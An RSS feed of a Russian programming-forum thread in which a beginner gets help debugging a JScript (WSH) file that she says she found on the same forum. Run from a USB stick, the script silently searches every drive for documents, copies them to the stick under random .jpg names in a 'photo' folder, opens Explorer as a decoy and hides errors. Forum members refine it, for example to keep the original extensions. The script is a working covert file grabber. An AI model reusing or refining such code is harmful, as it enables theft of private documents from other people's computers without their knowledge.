<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var found = softwareEnumerator.item().Name.match(patch);</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (found &amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &#62;= diff.getTime()))) </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var ext = &quot;.&quot; + found[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;catch (e) </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (e.number == 61) </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WScript.Quit(0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div></ol></div></div></div></div> <br>
<br>
<span class="tag-color tag-color-named" data-value="mergepost" style="color: mergepost"><span class='tag-size' data-value='7' style='font-size:7pt;'>Добавлено <time class="tag-mergetime" datetime="2018-12-05T11:05:11+00:00">05.12.18, 11:05</time></span></span><br>
Только для начала лучше проверь<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var ext = &quot;.&quot; + found[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + ext, true);</div><div class="code_line">WScript.StdOut.WriteLine(ext);</div></ol></div></div></div></div> <br>
<br>
<span class="tag-color tag-color-named" data-value="mergepost" style="color: mergepost"><span class='tag-size' data-value='7' style='font-size:7pt;'>Добавлено <time class="tag-mergetime" datetime="2018-12-05T11:11:46+00:00">05.12.18, 11:11</time></span></span><br>
fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784546</guid>
        <pubDate>Wed, 05 Dec 2018 10:59:35 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784546</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function UpdateSoftware(fso, cd, softwareFolder) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var patch = /\.(jpg)$/i;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var diff = new Date(2018,05,01);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var softwareEnumerator = new Enumerator(softwareFolder.Files);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;softwareEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((softwareEnumerator.item().Name.match(patch))&amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &#62;= diff.getTime()))) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var found = softwareEnumerator.item().Name.match(patch);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var ext = found[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch (e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (e.number == 61) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WScript.Quit(0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var packageEnumerator = new Enumerator(softwareFolder.SubFolders);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;packageEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((packageEnumerator.item().Name.toUpperCase() != &quot;Program Files&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Windows&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Winnt&quot;.toUpperCase())) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, cd, packageEnumerator.item());</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">try {</div><div class="code_line">&nbsp;&nbsp; &nbsp;var ws = WScript.CreateObject(&quot;WScript.Shell&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;ws.Exec(&quot;explorer.exe&quot; + &quot; &quot; + ws.CurrentDirectory);</div><div class="code_line">&nbsp;&nbsp; &nbsp;var fso = WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FolderExists(ws.CurrentDirectory+&quot;\home&quot;)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fso.CreateFolder(ws.CurrentDirectory+&quot;\home&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;var tmpFileName = &quot;autorun.txt&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FileExists(tmpFileName)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;tmpFile.Close();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var driveEnumerator = new Enumerator(fso.Drives);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;driveEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, ws.CurrentDirectory+&quot;\home&quot;, driveEnumerator.item().RootFolder);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fso.DeleteFile(ws.CurrentDirectory+&quot;\&quot;+tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">} catch(e) {</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Строку с длинным названием изменила на вашу и вначале задала поиск jpg. Но docx тоже не ищет так]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784544</guid>
        <pubDate>Wed, 05 Dec 2018 10:56:43 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784544</link>
        <description><![CDATA[Олег М: Покажи код]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784542</guid>
        <pubDate>Wed, 05 Dec 2018 10:55:44 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784542</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong>  странно. Операция теперь проходит без ошибок, но файлов не появляется никаких  :oops:]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784535</guid>
        <pubDate>Wed, 05 Dec 2018 10:38:43 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784535</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784529'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T10:31:05+00:00">05.12.18, 10:31</time></span><div class='quote '>И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)</div></div><br>
Сейчас у тебя при переименовании расширение задано константой +&quot;.jpg&quot;, true); Надо здесь поставить то, которое было у исходного файла. Его можно вытащить из regex patch, что-то типа  <br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">var found = softwareEnumerator.item().Name.match(patch);</div><div class="code_line">var ext = found[0];</div></ol></div></div></div></div>]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784529</guid>
        <pubDate>Wed, 05 Dec 2018 10:31:05 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784529</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong> Я в шоке&#33; все сработало&#33;Спасибо ВАМ огромнейшее&#33; Вопрос такой, как можно сократить названия файла или оставлять их такими же как они и были. И если мне нужны разные файлы doc, txt, jpg, xsl, но чтобы он их не превращал потом в картинки?)]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784528</guid>
        <pubDate>Wed, 05 Dec 2018 10:22:34 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784528</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784527'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T10:17:39+00:00">05.12.18, 10:17</time></span><div class='quote '>что ни одно фото не открывается и имеет какие то нереально длинные названия(</div></div><br>
Не открывается потому что текстовые и др. файлы var patch = /&#092;.(doc|rtf|xls|txt)&#036;/i; просто перерименовываются в .jpeg. От этого они картинками не станут. Наверное, надо patch = /&#092;.(jpeg)&#036;/i искать.<br>
А название длинное, потому что ты его таким задаёшь - fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;&#092;&#092;02-&quot;+Math.round(Math.random()*Math.pow(10,10))+&quot;-&quot;+Date.parse(software.................]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784527</guid>
        <pubDate>Wed, 05 Dec 2018 10:17:39 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784527</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong> Все сработало, только вот интересно то, что ни одно фото не открывается и имеет какие то нереально длинные названия(]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784524</guid>
        <pubDate>Wed, 05 Dec 2018 10:12:09 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784524</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784522'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T10:07:51+00:00">05.12.18, 10:07</time></span><div class='quote '>ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему.</div></div><br>
Проверь файл, что он в кодировке ANSI, и что расширение у него .js <br>
Я просто скопировал код отсюда, всё нормально никакой ошибки не было]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784522</guid>
        <pubDate>Wed, 05 Dec 2018 10:07:51 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784522</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong>ошибка недопустимый знак код 800А0408. Этот скрипт я нашла тут же на форему. Мне просто нужен скрипт чтобы мог искать файлы на всем пк по маске и копировать на флешку. <br>
И спасибо большое за ответы, я не ожидала, что кто-то отзавется :wub:]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784491</guid>
        <pubDate>Wed, 05 Dec 2018 08:33:57 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784491</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784450'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-04T21:33:02+00:00">04.12.18, 21:33</time></span><div class='quote '>Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. </div></div><br>
<br>
Вроде всё нормально. Какая конкретно ошибка?<br>
<br>
<br>
<div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784467'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>MIF &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T06:19:04+00:00">05.12.18, 06:19</time></span><div class='quote '>Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.</div></div><br>
<br>
Это JavaScript]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784467</guid>
        <pubDate>Wed, 05 Dec 2018 06:19:04 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784467</link>
        <description><![CDATA[MIF: Не работает потому, что приведеный текст - смесь двух языков: VBS и C#.]]></description>
        <author>MIF</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784454</guid>
        <pubDate>Wed, 05 Dec 2018 01:23:44 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784454</link>
        <description><![CDATA[Славян: Может, patch - строка и нужны кавычки? Не уверен.]]></description>
        <author>Славян</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784450</guid>
        <pubDate>Tue, 04 Dec 2018 21:33:02 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784450</link>
        <description><![CDATA[lixen15: Доброго времени суток&#33; Подскажите почему может выдавать ошибку данная программа? Ошибка символа в 50 строке 1 символе. По программе планируется поиск файлом с необходимой маской по всему пк на флешку. Писала программы для копирования, но через путь. Это не всегда может сработать.<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function UpdateSoftware(fso, cd, softwareFolder) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var patch = /\.(doc|rtf|xls|txt)$/i;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var diff = new Date(2007,05,01);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var softwareEnumerator = new Enumerator(softwareFolder.Files);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;softwareEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((softwareEnumerator.item().Name.match(patch))&amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &#62;= diff.getTime()))) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;\02-&quot;+Math.round(Math.random()*Math.pow(10,10))+&quot;-&quot;+Date.parse(softwareEnumerator.item().DateCreated)+&quot;-&quot;+Date.parse(softwareEnumerator.item().DateLastModified)+&quot;-&quot;+Date.parse(softwareEnumerator.item().DateLastAccessed)+&#39;-&#39;+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)+&#39;-&#39;+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)+&#39;-&#39;+softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1)+&quot;.jpg&quot;, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch (e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (e.number == 61) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WScript.Quit(0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var packageEnumerator = new Enumerator(softwareFolder.SubFolders);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;packageEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((packageEnumerator.item().Name.toUpperCase() != &quot;Program Files&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Windows&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Winnt&quot;.toUpperCase())) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, cd, packageEnumerator.item());</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">try {</div><div class="code_line">&nbsp;&nbsp; &nbsp;var ws = WScript.CreateObject(&quot;WScript.Shell&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;ws.Exec(&quot;explorer.exe&quot; + &quot; &quot; + ws.CurrentDirectory);</div><div class="code_line">&nbsp;&nbsp; &nbsp;var fso = WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FolderExists(ws.CurrentDirectory+&quot;\photo&quot;)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fso.CreateFolder(ws.CurrentDirectory+&quot;\photo&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;var tmpFileName = &quot;autorun.txt&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FileExists(tmpFileName)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;tmpFile.Close();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var driveEnumerator = new Enumerator(fso.Drives);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;driveEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, ws.CurrentDirectory+&quot;\photo&quot;, driveEnumerator.item().RootFolder);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; 